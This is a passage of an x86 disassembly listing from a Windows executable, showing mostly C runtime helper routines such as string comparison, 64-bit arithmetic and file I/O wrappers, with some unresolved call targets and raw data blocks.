sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27A0138h lea eax, [ebp+var_20] push eax nop call near ptr 28B0000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 28A0000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26A047Ah cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 2690DCCh nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D call near ptr 2690DCCh nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 nop call near ptr 2850000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 42h dd 9134D1B3h, 0CDFE2F2Eh, 0C022EDEFh, 0A164DD0Eh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0FDE890E8h, 33024A42h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 4A427BE8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024A26h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 79E89056h, 5002282Bh, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 2670858h test eax, eax jnz short loc_41DAEB nop call near ptr 2690DCCh mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T 